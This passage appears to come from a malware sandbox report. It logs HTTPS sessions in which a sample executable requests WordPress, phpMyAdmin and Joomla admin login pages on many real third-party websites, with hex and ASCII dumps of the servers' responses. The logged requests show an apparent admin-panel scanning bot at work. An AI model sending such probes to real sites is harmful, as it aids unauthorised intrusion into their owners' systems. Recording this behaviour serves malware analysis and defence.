2023-11-26 05:59:41 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:41 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:41 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.4	62924	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	98	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 2f 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 302 Foundcontent-length: 0location: /cache-control: no-cacheconnection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	62806	202.226.37.158	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	178	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: daisyokogyo.co.jp Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	165	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 0Connection: closeLocation: /

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	62923	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	181	OUT	GET /wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	529	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.ceuandalucia.es/wp-json/>; rel="ht

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	62915	78.128.62.138	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: www.integraledu.hr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	988	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6e 49 31 5a 31 42 59 52 31 6f 34 62 58 68 51 61 46 6c 70 64 31 4e 4d 53 45 68 5a 64 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 47 56 78 51 6c 42 54 62 45 34 32 62 56 42 69 56 48 46 32 61 48 70 46 63 6c 4e 73 52 6b 30 78 4d 32 56 6f 65 54 51 77 63 56 77 76 55 48 64 32 55 6d 70 4f 57 57 5a 79 64 31 56 42 4d 47 49 33 65 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6InI1Z1BYR1o4bXhQaFlpd1NMSEhZdUE9PSIsInZhbHVlIjoiZGVxQlBTbE42bVBiVHF2aHpFclNsRk0xM2VoeTQwcVwvUHd2UmpOWWZyd1VBMGI3e
2023-11-26 05:59:41 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 68 72 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 66 62 3a 61 70 70 5f 69 64 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="hr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <meta name="description" content=""> <meta property="fb:app_id" content="">
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 6d 6a 65 72 61 76 61 6e 6a 65 22 20 64 61 74 61 2d 67 72 6f 75 70 3d 22 2f 73 74 75 64 69 72 61 6e 6a 65 2d 75 2d 69 6e 6f 7a 65 6d 73 74 76 75 22 3e 50 72 6f 67 72 61 6d 20 70 72 6f 66 65 73 69 6f 6e 61 6c 6e 65 20 6f 72 69 6a 65 6e 74 61 63 69 6a 65 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 70 72 65 70 2d 63 6f 75 72 73 65 73 2f 69 65 6c 74 73 22 20 64 61 74 61 2d 67 72 6f 75 70 3d 22 2f 73 74 75 64 69 72 61 6e 6a 65 2d 75 2d 69 6e 6f 7a 65 6d 73 74 76 75 22 3e 49 45 4c 54 53 20 70 72 69 70 72 65 6d Data Ascii: mjeravanje" data-group="/studiranje-u-inozemstvu">Program profesionalne orijentacije</a></li> <li><a href="/prep-courses/ielts" data-group="/studiranje-u-inozemstvu">IELTS priprem
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 31 2d 69 74 65 6d 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 74 65 63 61 6a 65 76 69 2d 73 74 72 61 6e 69 68 2d 6a 65 7a 69 6b 61 22 20 64 61 74 61 2d 67 72 6f 75 70 3d 22 2f 74 65 63 61 6a 65 76 69 2d 73 74 72 61 6e 69 68 2d 6a 65 7a 69 6b 61 22 20 63 6c 61 73 73 3d 22 20 6e 61 76 2d 6c 31 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e Data Ascii: </li> <li class="nav-l1-item"> <a href="/tecajevi-stranih-jezika" data-group="/tecajevi-stranih-jezika" class=" nav-l1-link"> <span
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	62918	34.240.130.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	181	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:41 UTC	16153	IN	Data Raw: 31 66 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e Data Ascii: 1f37<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 0d 0a 31 66 66 32 0d 0a 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 Data Ascii: vaux vendre</a></li></ul></li><li1ff2 id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc
2023-11-26 05:59:41 UTC	7295	IN	Data Raw: 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 31 63 35 32 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 47 6d 62 48 2c 20 53 Data Ascii: ntr\u00f4le Jimdo\n\nLes cooki1c52es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo GmbH, S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	63243	92.62.143.50	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	289	OUT	GET /administrator/index.php HTTP/1.1 Host: www.bunasta.eu Accept: / Accept-Encoding: deflate, gzip Cookie: CMSSESSID80f9fd3f=n9r0q6tfn1hneshgldk0v63lt6 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.bunasta.eu/administrator/
2023-11-26 05:59:41 UTC	237	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6e 61 73 74 61 2e 65 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:41 GMTServer: Apache/2.4.38 (Debian)Location: https://www.bunasta.eu/administrator/Content-Length: 326Connection: closeContent-Type: text/html; charset=iso-8859-1
